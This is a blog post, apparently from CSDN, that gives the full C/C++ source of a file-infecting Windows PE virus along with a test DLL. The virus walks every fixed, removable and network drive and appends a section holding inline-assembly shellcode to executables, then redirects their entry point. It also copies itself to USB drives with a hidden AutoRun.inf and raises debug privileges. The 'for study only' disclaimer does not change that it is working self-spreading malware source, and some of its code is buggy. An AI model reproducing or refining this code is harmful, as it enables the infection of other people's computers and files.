狼哥的原话:“真正的文件型PE病毒,是不能发布调试版本的,只能靠自己的判断使用发布版本,就算要调试也只能使用其它的调试器,比喻说OllyDbg来调试发布版本......”
这类程序调试起来足矣让人精神紊乱,下面是全部的代码,有兴趣的看看吧.....
这是测试Test.dll源码:
- /
- // Test.dll
- // by Koma 2009-12-18 0:40
- // http://blog.csdn.net/wangningyu
- #include <windows.h>
- BOOL APIENTRY DllMain( HANDLE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- HANDLE hThread;
- DWORD dwThread;
- switch(lpReserved)
- {
- case DLL_PROCESS_ATTACH:
- MessageBox(NULL,"some process is attching !","Test",MB_OK);
- hThread = CreateThread(NULL,0,SomeFunction,NULL,0,dwThread);
- WaitForSingleObject(hThread,INFINITE);
- CloseHandle(hThread);
- break;
- case DLL_THREAD_ATTACH:
- MessageBox(NULL,"some thread is attching !","Test",MB_OK);
- break;
- case DLL_THREAD_DETACH:
- MessageBox(NULL,"some thread is detaching !","Test",MB_OK);
- break;
- case DLL_PROCESS_DETACH: //
- MessageBox(NULL,"some process is exited !","Test",MB_OK);
- break;
- }
- return TRUE;
- }
/
// 感染PE文件病毒源码
// by Koma 2009-12-18 0:30
// http://blog.csdn.net/wangningyu
// 程序仅供学习交流,请不要尝试用作非法用途!
// 感谢寂寞的狼、llydd、大飞的指导与技术支持!
/
// 引入头文件
//
#include <afxwin.h>
#include <windows.h>
/
// DiskInfo class
// 采用多线程感染每一个磁盘驱动器
//
class DiskInfo
{
public:
CString m_strName; // 磁盘名称,例如C:
CString m_strFilePath; // 感染文件的绝对路径
BOOL CurFileIsInject; // 判断该文件是否被感染过
DiskInfo(); // 构造函数,用来初始化成员变量
};
/
// DiskInfo 构造函数
// 初始化成员变量
//
DiskInfo::DiskInfo()
{
m_strFilePath = _T("");
m_strName = _T("");
}
/************************************************************************/
// 全局函数声明
/************************************************************************/
void EmuAllDisk(); // 多线程感染全盘文件
BOOL GetOSVersion(); // 获取操作系统版本是不是NT内核
BOOL InfectPE(CString strFilePath); // 感染指定路径exe文件
BOOL IsInfect(CString strFile); // 判断是否被感染过
BOOL CheckPE(FILE* pFile); // 检查文件格式
int Align(int size,unsigned int align); // 用来计算对齐数据后的大小
int EmuDiskFiles(LPCTSTR lpStr); // 遍历指定盘符exe文件
void RaiseToDebug(); // 进程提权
/************************************************************************/
// 全局变量声明
/************************************************************************/
DiskInfo di; // 传递多线程参数:设置盘符名
DiskInfo diInject; // 传递多线程参数:设置文件路径
/************************************************************************/
/* 函数说明:复制到U盘
/* 参 数:无
/* 返 回 值:成功返回0,失败返回非0
/* By:Koma 2009.12.16 20:35
/************************************************************************/
DWORD ThreadInfectU()
{
while(true)
{
// 磁盘类型
UINT revtype;
char name[256]="H://" ;
char szName[256]={0};
char toPath[256]={0};
char infPath[256]={0};
char openU[80]={0};
// 遍历所有盘符
for(BYTE i=0x42;i<0x5B;i=i+0x01)
{
name[0]=i;
revtype=GetDriveType(name);
// 判断是否是可移动存储设备
if (revtype==DRIVE_REMOVABLE)
{
// 得到自身文件路径、比较是否和U盘的盘符相同
GetModuleFileName(NULL,szName,256);
if(strncmp(name,szName,1)==0)
{
return -1;
}
else
{
strcpy(toPath,name);
strcat(toPath,"//Player.exe");
strcpy(infPath,name);
strcat(infPath,"//AutoRun.inf");
// 还原U盘上的文件属性
SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL);
SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
// 删除原有文件
DeleteFile(toPath);
DeleteFile(infPath);
// 拷贝自身文件到U盘、把这两个文件设置成系统,隐藏属性
CopyFile(szName,toPath,FALSE);
SetFileAttributes(toPath,
FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(infPath,
FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
}
}
}
// 休眠5秒检测一次
Sleep(5000);
}
}
/************************************************************************/
/* 函数说明:线程 —— 感染指定exe文件
/* 参 数:驱动器名称,如C:
/* 返 回 值:遍历的数目
/* By:Koma 2009.12.17 14:05
/************************************************************************/
DWORD ThreadInject(LPVOID lpParameter)
{
DiskInfo *diParam = (DiskInfo *)lpParameter;
BOOL bRet = InfectPE(diParam->m_strFilePath);
if(bRet)
return 0;
return -1;
}
/************************************************************************/
/* 函数说明:线程 —— 遍历驱动器exe文件
/* 参 数:驱动器名称,如C:
/* 返 回 值:遍历的数目
/* By:Koma 2009.12.17 14:05
/************************************************************************/
DWORD ThreadDisk(LPVOID lpParameter)
{
DiskInfo *diParam = (DiskInfo *)lpParameter;
BOOL bRet = EmuDiskFiles(diParam->m_strName);
if(bRet)
return 0;
return -1;
}
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
RaiseToDebug(); // 提升权限
EmuAllDisk(); // 依次启动遍历磁盘线程、遍历文件
MessageBox(NULL,"程序启动成功!","测试",MB_OK);
return 0;
}
/************************************************************************/
/* 函数说明:获取应用程序当前目录
/* 参 数:无
/* 返 回 值:返回目录路径、CString类型字符串
/* By:Koma 2009.12.17 14:25
/************************************************************************/
CString GetExePath()
{
char pathbuf[260];
int pathlen = ::GetModuleFileName(NULL,pathbuf,260);
// 替换掉单杠
while(TRUE)
{
if(pathbuf[pathlen--]=='//')
break;
}
pathbuf[++pathlen]= 0x0;
CString fname = pathbuf;
return fname;
}
/************************************************************************/
/* 函数说明:提升进程权限到debug权限
/* 参 数:无
/* 返 回 值:无
/* By:Koma 2009.12.17 21:20
/************************************************************************/
void RaiseToDebug()
{
HANDLE hToken;
HANDLE hProcess = GetCurrentProcess(); // 获取当前进程句柄
// 打开当前进程的Token,就是一个权限令牌,第二个参数可以用TOKEN_ALL_ACCESS
if (OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
TOKEN_PRIVILEGES tkp;
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
{
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//通知系统修改进程权限
BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
}
CloseHandle(hToken);
}
}
/************************************************************************/
/* 函数说明:保护文件防止被轻易删除
/* 参 数:无
/* 返 回 值:无
/* By:Koma 2009.12.17 21:42
/************************************************************************/
BOOL OccupyFile(LPCTSTR lpFileName)
{
RaiseToDebug(); // 提升权限
// 打开syetem进程,打开前必须赋予PROCESS_DUP_HANDLE权限
HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4);
if (hProcess == NULL)
{
hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 8);
if (hProcess == NULL)
return FALSE;
}
HANDLE hFile = NULL;
HANDLE hTargetHandle = NULL;
// 创建一个文件,当然这个文件可以是本来就存在的
hFile = CreateFile(lpFileName, GENERIC_READ | GENERIC_EXECUTE | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
// 文件创建或打开失败
CloseHandle( hProcess );
return FALSE;
}
return TRUE;
}
/************************************************************************/
/* 函数说明:多线程感染全盘文件
/* 参 数:无
/* 返 回 值:无
/* By:Koma 2009.12.17 22:30
/************************************************************************/
void EmuAllDisk()
{
CString strTemp; // 临时字符串
UINT revtype; // 磁盘类型
char name[5]= "C:"; // 磁盘名称
int nCount = 0; // 磁盘数量
HANDLE hThread[10]; // 最大启动十个磁盘感染线程
DWORD dwTid[10]; // 线程PID
for(BYTE i=0x42;i<0x5B;i=i+0x01) // 遍历所有盘符
{
name[0]=i;
revtype=GetDriveType(name);
switch(revtype){ // 判断磁盘驱动器的属性
case DRIVE_FIXED: // 是否为本地磁盘
case DRIVE_REMOVABLE: // 是否为可移动磁盘
case DRIVE_REMOTE: // 是否为网络磁盘
if(nCount>10){ // 最大启动十个线程
nCount = 0; // 恢复计数器
Sleep(30000); // 休眠30秒
break;
}
strTemp.Format("%c",name[0]);
strTemp = strTemp + ":"; // 磁盘字符串形式,如C:
di.m_strName = strTemp; // 设置感染文件的绝对路径
hThread[nCount] = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadDisk,(LPVOID)(&di),NULL,&dwTid[nCount]);
nCount++;
break;
}
}
}
/************************************************************************/
/* 函数说明:判断操作系统版本
/* 参 数:无
/* 返 回 值:NT以上版本的系统返回TRUE,失败返回FALSE
/* By:Koma 2009.12.18 22:20
/************************************************************************/
BOOL GetOSVersion()
{
DWORD dwVersion = 0;
// 如果是Windows 98/Me/95以上的操作系统则返回TRUE
dwVersion = GetVersion();
if (dwVersion < 0x80000000)
{
return TRUE;
}
return FALSE;
}
/************************************************************************/
/* 函数说明:感染exe文件
/* 参 数:strFile 文件路径
/* 返 回 值:成功返回TRUE,失败返回FALSE
/* By:Koma 2009.12.18 21:32
/************************************************************************/
BOOL InfectPE(CString strFilePath)
{
FILE* rwFile; // 被感染的文件
IMAGE_SECTION_HEADER NewSection; // 定义要添加的区块
IMAGE_NT_HEADERS NThea; //
DWORD pNT; // pNT中存放IMAGE_NT_HEADERS结构的地址
int nOldSectionNo;
int OEP;
if((rwFile=fopen(strFilePath,"rb"))==NULL){ // 打开文件失败则返回
return FALSE;
}
if(!CheckPE(rwFile)){ // 如果不是PE文件则返回
return FALSE;
}
fseek(rwFile,0x3c,0);
fread(&pNT,sizeof(DWORD),1,rwFile);
fseek(rwFile,pNT,0);
fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile); // 读取原文件的IMAGE_NT_HEADERS结构
nOldSectionNo=NThea.FileHeader.NumberOfSections; // 保存原文件区块数量
OEP=NThea.OptionalHeader.AddressOfEntryPoint; // 保存原文件区块OEP
IMAGE_SECTION_HEADER SEChea; // 定义一个区块存放原文件最后一个区块的信息
int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;
int FILE_ALIG=NThea.OptionalHeader.FileAlignment; // 保存文件对齐值与区块对齐值
memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));
fseek(rwFile,pNT+248,0); // 读原文件最后一个区块的信息
for(int i=0;i<nOldSectionNo;i++)
fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile);
FILE *newfile = fopen(strFilePath,"rb+");
if(newfile==NULL){
return FALSE;
}
fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET);
goto shellend;
__asm
{
shell: PUSHAD
MOV EAX,DWORD PTR FS:[30H] ;FS:[30H]指向PEB
MOV EAX,DWORD PTR [EAX+0CH] ;获取PEB_LDR_DATA结构的指针
MOV EAX,DWORD PTR [EAX+1CH] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针
MOV EAX,DWORD PTR [EAX] ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针
MOV EAX,DWORD PTR [EAX+08H] ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
MOV EBP,EAX ;将Kernel32.dll模块基址地址放至kernel中
MOV EAX,DWORD PTR [EAX+3CH] ;指向IMAGE_NT_HEADERS
MOV EAX,DWORD PTR [EBP+EAX+120];指向导出表
MOV ECX,[EBP+EAX+24] ;取导出表中导出函数名字的数目
MOV EBX,[EBP+EAX+32] ;取导出表中名字表的地址
ADD EBX,EBP
PUSH WORD PTR 0X00 ;构造GetProcAddress字符串
PUSH DWORD PTR 0X73736572
PUSH DWORD PTR 0X64644163
PUSH DWORD PTR 0X6F725074
PUSH WORD PTR 0X6547
MOV EDX,ESP
PUSH ECX
F1:
MOV EDI,EDX
POP ECX
DEC ECX
TEST ECX,ECX
JZ EXIT
MOV ESI,[EBX+ECX*4]
ADD ESI,EBP
PUSH ECX
MOV ECX,15
REPZ CMPSB
TEST ECX,ECX
JNZ F1
POP ECX
MOV ESI,[EBP+EAX+36] ;取得导出表中序号表的地址
ADD ESI,EBP
MOVZX ESI,WORD PTR[ESI+ECX*2] ;取得进入函数地址表的序号
MOV EDI,[EBP+EAX+28] ;取得函数地址表的地址
ADD EDI,EBP
MOV EDI,[EDI+ESI*4] ;取得GetProcAddress函数的地址
ADD EDI,EBP
PUSH WORD PTR 0X00 ;构造LoadLibraryA字符串
PUSH DWORD PTR 0X41797261
PUSH DWORD PTR 0X7262694C
PUSH DWORD PTR 0X64616F4C
PUSH ESP
PUSH EBP
CALL EDI ;调用GetProcAddress取得LoadLibraryA函数的地址
PUSH WORD PTR 0X00 ;添加参数“test”符串
PUSH DWORD PTR 0X74736574
PUSH ESP
CALL EAX
EXIT: ADD ESP,36 ;平衡堆栈
POPAD
}
shellend:
char* pShell;
int nShellLen;
BYTE jmp = 0xE9;
__asm
{
LEA EAX,shell
MOV pShell,EAX;
LEA EBX,shellend
SUB EBX,EAX
MOV nShellLen,EBX
}
// 写入SHELLCODE,
for(i=0;i<nShellLen;i++)
fputc(pShell[i],newfile);
// SHELLCODE之后是跳转到原OEP的指令
NewSection.VirtualAddress=SEChea.VirtualAddress+Align(SEChea.Misc.VirtualSize,SECTION_ALIG);
OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5;
fwrite(&jmp, sizeof(jmp), 1, newfile);
fwrite(&OEP, sizeof(OEP), 1, newfile);
// 将最后增加的数据用0填充至按文件中对齐的大小
for(i=0;i<Align(nShellLen,FILE_ALIG)-nShellLen-5;i++)
fputc('/0',newfile);
// 新区块中的数据
strcpy((char*)NewSection.Name,".NYsky");
NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData;
NewSection.Misc.VirtualSize=nShellLen;
NewSection.SizeOfRawData=Align(nShellLen,FILE_ALIG);
NewSection.Characteristics=0xE0000020;
// 新区块可读可写可执行、写入新的块表
fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0);
fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile);
int nNewImageSize=NThea.OptionalHeader.SizeOfImage+Align(nShellLen,SECTION_ALIG);
int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+Align(nShellLen,FILE_ALIG);
fseek(newfile,pNT,0);
NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;
NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;
NThea.OptionalHeader.SizeOfCode=nNewSizeofCode;
NThea.OptionalHeader.SizeOfImage=nNewImageSize;
NThea.FileHeader.NumberOfSections=nOldSectionNo+1;
NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress;
// 写入更新后的PE头结构
fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile);
fclose(newfile);
fclose(rwFile);
return TRUE;
}
/************************************************************************/
/* 函数说明:判断文件是否被感染
/* 参 数:strFile 文件路径
/* 返 回 值:成功返回TRUE,失败返回FALSE
/* By:Koma 2009.12.18 22:35
/************************************************************************/
BOOL IsInfect(CString strFile)
{
HANDLE hFile; // 保存文件句柄
HANDLE hMapping; // 内存文件映射句柄
void* pBasePointer; // PE入口点
int dwSestion; // 节结数
int i; // 临时循环变量
BOOL bRet = FALSE; // 返回值
IMAGE_DOS_HEADER *imDos_Headers; // 定义DOS头
IMAGE_NT_HEADERS *imNT_Headers; // 定义PE头
IMAGE_SECTION_HEADER *imSECTION_Headers; // 定义SECTION表头
// 打开文件
hFile=CreateFile(strFile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,0);
if (hFile==INVALID_HANDLE_VALUE){
// GetLastError();
return FALSE;
}
// 创建内存映射文件
if (!(hMapping=CreateFileMapping(hFile,0,PAGE_READONLY|SEC_COMMIT,0,0,0))){
CloseHandle(hFile);
CloseHandle(hMapping);
return FALSE;
}
if (!(pBasePointer=::MapViewOfFile(hMapping,FILE_MAP_READ,0,0,0))){
CloseHandle(hFile);
CloseHandle(hMapping);
return FALSE;
}
// 设置初始指针地址
imDos_Headers=(IMAGE_DOS_HEADER *)pBasePointer;
if(!(imDos_Headers->e_magic ==IMAGE_DOS_SIGNATURE)){
CloseHandle(hFile);
CloseHandle(hMapping);
return FALSE;
}
// NT头指针地址
imNT_Headers=(IMAGE_NT_HEADERS *)((char *)pBasePointer+imDos_Headers->e_lfanew);
// 读取节表名
CString strTemp = "";
CString strSectionName;
for(i=0,imSECTION_Headers =(IMAGE_SECTION_HEADER *)((char *)imNT_Headers+sizeof(IMAGE_NT_HEADERS));i<imNT_Headers->FileHeader .NumberOfSections;i++,imSECTION_Headers++)
{
strTemp.Format("第%d节:%s/n",i+1,imSECTION_Headers->Name);
strSectionName = strSectionName + strTemp;
dwSestion = i;
}
// 查找节点是否存在
// MessageBox(strSectionName);
if(strSectionName.Find(".data")>0){
bRet = TRUE;
}
// 关闭句柄、释放文件
CloseHandle(hMapping);
CloseHandle(hFile);
return bRet;
}
/************************************************************************/
/* 函数说明:用来计算对齐数据后的大小
/* 参 数:size 计算大小
/* align 对齐后的长度
/* 返 回 值:对齐数据后的大小
/* By:Koma 2009.12.18 23:25
/************************************************************************/
BOOL CheckPE(FILE* pFile)
{
fseek(pFile,0,SEEK_SET);
BOOL bFlags=FALSE;
WORD IsMZ;
DWORD IsPE,pNT;
fread(&IsMZ,sizeof(WORD),1,pFile);
if(IsMZ==0x5A4D)
{
fseek(pFile,0x3c,SEEK_SET);
fread(&pNT,sizeof(DWORD),1,pFile);
fseek(pFile,pNT,SEEK_SET);
fread(&IsPE,sizeof(DWORD),1,pFile);
if(IsPE==0X00004550)
bFlags=TRUE;
else
bFlags=FALSE;
}
else
bFlags=FALSE;
fseek(pFile,0,SEEK_SET);
return bFlags;
}
/************************************************************************/
/* 函数说明:用来计算对齐数据后的大小
/* 参 数:size 计算大小
/* align 对齐后的长度
/* 返 回 值:对齐数据后的大小
/* By:Koma 2009.12.18 23:42
/************************************************************************/
int Align(int size,unsigned int align)
{
if(size%align!=0)
return (size/align+1)*align;
else
return size;
}
/************************************************************************/
/* 函数说明:遍历感染指定驱动器中所有exe文件
/* 参 数:驱动器名称,如C:
/* 返 回 值:遍历的数目
/* By:Koma 2009.12.18 23:55
/************************************************************************/
int EmuDiskFiles(LPCTSTR lpStr)
{
CFileFind fd;
CString strWild(lpStr);
CString str = fd.GetFilePath(); // 获取每个文件的绝对路径
int nTemp = 0; // 最大启动5个线程同时感染
BOOL bRet;
HANDLE hThread;
DWORD dwTid;
strWild += _T("//*.*"); // 查找类型
bRet = fd.FindFile(strWild); // 开始查找
while (bRet){ // 如果不为空,继续遍历
ReEmu: bRet = fd.FindNextFile(); // 查找下一个文件
if(fd.IsDots()) // 过滤目录自身与上层目录
continue;
else if(fd.IsDirectory()){ // 判断是否为文件夹
CString str = fd.GetFilePath(); // 获取文件夹路径
EmuDiskFiles(str); // 继续遍历子目录
}
else
{
int nTemp1 = str.Find("WINDOWS"); // 如果是XP系统目录则跳过
int nTemp2 = str.Find("WINNT"); // 如果是WIN2000系统目录也跳过
if(nTemp1>0 || nTemp2>0)
goto ReEmu;
if(str.Find(".exe")>0){ // 判断是否为exe扩展名
if(!IsInfect(str)) // 判断是否感染过
{
di.m_strFilePath = str; // 设置感染文件的绝对路径
hThread = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadInject,(LPVOID)(&diInject),NULL,&dwTid);
WaitForSingleObject(hThread,INFINITE);
//InfectPE(str);
}
continue;
}
}
Sleep(10000); // 10秒种遍历一个文件
}
return 0;
}
/
// 感染PE文件病毒源码
// by Koma 2009-12-18 0:30
// http://blog.csdn.net/wangningyu
// 程序仅供学习交流,请不要尝试用作非法用途!
/